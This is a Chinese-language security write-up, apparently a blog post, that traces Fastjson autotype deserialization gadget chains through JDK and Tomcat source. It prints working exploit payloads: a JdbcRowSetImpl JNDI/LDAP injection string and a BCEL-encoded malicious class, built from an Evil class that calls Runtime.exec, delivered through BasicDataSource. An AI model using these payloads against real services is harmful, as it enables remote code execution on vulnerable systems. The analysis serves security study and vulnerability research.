瞎jb分析一波
正常的反序列化一个类是这样子的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package org.example; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; public class Main { public static void main(String[] args) { String s = "{\"name\":\"John\",\"age\":\"30\"}"; Person person = JSON.parseObject(s, Person.class); System.out.println(person.getName());
} }
|
在这里我们新建了一个Person类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package org.example;
public class Person { private String name; private int age; public Person(){
} public int getAge(){ System.out.println("getAge"); return age; } public void setAge(int age){ System.out.println("setAge"); this.age = age; } public String getName(){ System.out.println("getName"); return name; } public void setName(String name){ System.out.println("setName"); this.name = name; } }
|
可以看到我们Person类里面调用了什么方法就会输出该方法名字,在Main.java的里面
1
| Person person = JSON.parseObject(s, Person.class)
|
实例化了我们的Person类把它进行了反序列化,而常见的反序列化是这样子的
1 2
| String s = "{\"name\":\"John\",\"age\":\"30\"}"; JSONObject jsonObject = JSON.parseObject(s);
|
能不能在常规的反序列化里面把字符串当成类处理扔到里面呢,当存在一个@type键值对的时候就会实现
把字符串当成类处理
其中为什么是@type是因为在这个里面读取了第一个键的传入key做了判断,然后TypeUtils.loadClass就会加载这个类然后放到缓存
然后稀里糊涂的看完了流程发现只有set方法是全局的可以利用的,get要满足下面几种条件才可以利用
我们在看看setter方法怎么被调用的:
调用了parseObject方法进行反序列化,并且指定了反序列化对象Person类,parseObject方法会将json数据反序列化成Person对象,并且在反序列化过程中调用了Person对象的setter方法。
然后再看看另外一种方法:
调用了parse方法将json数据反序列化成java对象,并且在反序列化时调用了对象的setter方法,下一个方法:
调用了parseObject方法将json数据反序列化成java对象,并且在反序列化过程中会调用对象的setter和getter方法,可以看到这几个反序列化都是会调用setter方法的,而只有parseObject方法会调用getter方法,就是说用parseObject方法都可以调用
当反序列化是这个parseObject方法的时候这两个恶意类都可以被执行(因为getter和setter都会被调用)
在做分析调试之前先做一点准备工作,下载对应自己的jdk源码文件以便调试和阅读:https://github.com/adoptium/jdk/releases/tag/jdk8-b65,
jdk下载:https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html
然后把jdk源码替换到需要替换的包,一般都是在安装jdk目录src里面(没解压需要解压),对应路径,比如sun和com.sun包,里面加入java文件(因为class文件不容易调试),然后在idea项目结构里面sdk添加jdk的根目录下面的src目录就可以,调试会自动跳转到java文件。
开始调试…
JdbcRowSetImpl链加JNDI注入
首先看这个链,这个链是最简单的链子,调用关键的两个方法 :setDataSourceName()和setAutoCommit(),在fastjson中存在动态调用,我们传入name进去,他就会被调用getter方法,变成getName()自动加上get然后首字母大写。
1 2 3 4 5 6 7 8
| public void setAutoCommit(boolean autoCommit) throws SQLException { if(conn != null) { conn.setAutoCommit(autoCommit); } else { conn = connect(); conn.setAutoCommit(autoCommit); } }
|
如果conn为null就会调用connect方法,跟进看看connect方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| private Connection connect() throws SQLException {
if(conn != null) { return conn;
} else if (getDataSourceName() != null) {
try { Context ctx = new InitialContext(); DataSource ds = (DataSource)ctx.lookup (getDataSourceName());
if(getUsername() != null && !getUsername().equals("")) { return ds.getConnection(getUsername(),getPassword()); } else { return ds.getConnection(); } } catch (javax.naming.NamingException ex) { throw new SQLException(resBundle.handleGetObject("jdbcrowsetimpl.connect").toString()); }
} else if (getUrl() != null) {
return DriverManager.getConnection (getUrl(), getUsername(), getPassword()); } else { return null; }
}
|
当getDataSourceName() != null成立的时候就会调用lookup,就可以导致远程加载类攻击,看看getDataSourceName()方法
返回了dataSource的值,跟进一波
找到了setDataSourceName这个方法
在BaseRowSet.Java里面
1 2 3 4 5 6 7 8 9 10 11 12 13
| public void setDataSourceName(String name) throws SQLException {
if (name == null) { dataSource = null; } else if (name.equals("")) { throw new SQLException("DataSource name cannot be empty string"); } else { dataSource = name; }
URL = null; }
|
在JdbcRowSetImpl.Java里面
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public void setDataSourceName(String dsName) throws SQLException{
if(getDataSourceName() != null) { if(!getDataSourceName().equals(dsName)) { super.setDataSourceName(dsName); conn = null; ps = null; rs = null; } } else { super.setDataSourceName(dsName); } }
|
就是说这个就是远程加载的地址了,我们在反序列化会自动调用setter方法,调用setDataSourceName()和setAutoCommit() ,而JdbcRowSetImpl是 BaseRowSet子类,他们都有setter,先到JdbcRowSetImpl的setter转到BaseRowSet的setter,调用时fastjson会自动加上前缀set,导致远程加载。
1 2 3 4 5 6 7 8 9
| package org.example; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; public class Main { public static void main(String[] args) throws Exception{ String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:8085/SHzRiHto\",\"autoCommit\":true}"; JSON.parseObject(s); } }
|
在11.0.1, 8u191, 7u201, 6u211版本之后ldap已经被限制了
不出网链子bcel
有一个条件是需要引入org.apache.tomcat的包,但是这个很常见。
1 2 3 4 5
| <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-dbcp</artifactId> <version>9.0.20</version> </dependency>
|
生成恶意类字节码数组
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| package org.example; import com.sun.org.apache.bcel.internal.classfile.Utility; import com.sun.org.apache.bcel.internal.util.ClassLoader; import java.io.*;
import org.springframework.util.FileCopyUtils;
public class fastjsonBcel { public static void main(String[] args) throws Exception { ClassLoader classLoader = new ClassLoader(); byte[] bytes = convert("E:\\Evil.class"); String code = Utility.encode(bytes,true); System.out.println("$$BCEL$$"+code);
} private static byte[] convert(String filePath) throws IOException { File file = new File(filePath); try (InputStream inputStream = new FileInputStream(file)) { ByteArrayOutputStream byteOutput = new ByteArrayOutputStream(); byte[] buffer = new byte[4096]; int bytesRead; while ((bytesRead = inputStream.read(buffer)) != -1) { byteOutput.write(buffer, 0, bytesRead); } return byteOutput.toByteArray(); } } }
|
恶意类我们可以随便写一个弹计算器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import java.lang.Runtime; import java.lang.Process;
public class Evil { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"calc"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { } } }
|
payload:
1 2 3 4 5 6 7 8 9 10
| package org.example; import com.alibaba.fastjson.JSON;
public class testcon { public static void main(String[] args) throws Exception { String code = "$l$8b$I$A$A$A$A$A$A$AeQ$c9N$CA$Q$7d$N$p$N$e3$b8$An$b8$e0n$A$8d$5c$bca$bc$YL$8c$b8D$8c$c6$e8eh$3b$a4q$981$c3$a0$fe$91g$_hL$f4$D$fc$uc$f5H$c4$a5$93$ee$aaz$fd$eaUu$f5$fb$c7$cb$h$80$N$ac$98H$mmb$E$a3$icq$8ckw$c2D$G$93$iS$i$d3$i3$M$b1M$e5$aa$60$8b$n$9a$cb$9f2$Y$db$de$95d$Y$aa$uW$k$b4$9b5$e9$9f$d85$87$90$f8$a6p$ba$cc$81j$60$8b$eb$7d$fb$s$bc$o$z$G$b3$ea$b5$7d$nw$94$a6$s$ca$b7$caYo$d8$b7$b6$F$T$fd$iY$L$b3$98c$Y$d6X$d1$b1$ddz$b1$g$f8$ca$adS$3da$3b$c2$c2$3c$W8$W$z$ya$99$n$dd$a3$95$ef$85$bc$J$94$e7$SS$ab$fe$d28$ac5$a4$I$Y$92$3d$e8$b8$ed$G$aaI$3d$98u$Z$7c$H$a3$b9$7c$e5$l$a7D$92$f2$5e$K$86$5c$ee$a2$f2$b7$b3$d2$cf$8c$p$df$T$b2$d5$w$fd$w$d5$F$Z$f8$9d$ad$82$j$cf$PG$b8KO$89$d3$dc$f5$8a$80$e9$f7$d3iQ4C$96$91$ed$x$3c$81$3d$92C$83$a43$W$82$G$r$N$7eS$F$c5Q$b2$d9gD$f6$8cWD$cf$a3$v$a3Z$v$acv$d0$b7$bf$d6A$ec$ec$B$c6$dec$98$99$c148$95$d2ZY$f2$40$fbK$zA$df$ad$7f$7b$80$Y$fdT$7e$QC$e1m$e4$92cX$97O$86$3d$a6$3e$B$5e$d1J$d71$C$A$A"; String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$" + code + "\",\"driverClassloader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}"; JSON.parseObject(s); } }
|
分析下链子
这里forName第二个参数为true初始化了driverClassName这个类,我们看看能不能污染driverClassLoader和driverClassName的值
发现存在两个setter方法,就说明这两个变量可控,在createConnectionFactory往上面找找,找到
createDataSource再往上找发现getConnection
既然找到了getter就可以用parseObject调用了,那我们就需要找到一个恶意类调用,于是找到了com.sun.org.apache.bcel.internal.util.ClassLoader
检查这个头是不是带有$$BCEL$$如果是就creatClass,creatClass里面Utility.decode了class_name
控制driverClassName的值的时候实际上执行了一些loaderClass的操作
最后到了class_name里面
大概链子这样子
至于为什么bcel会存在原生jdk里面可以看看大佬的文章
https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html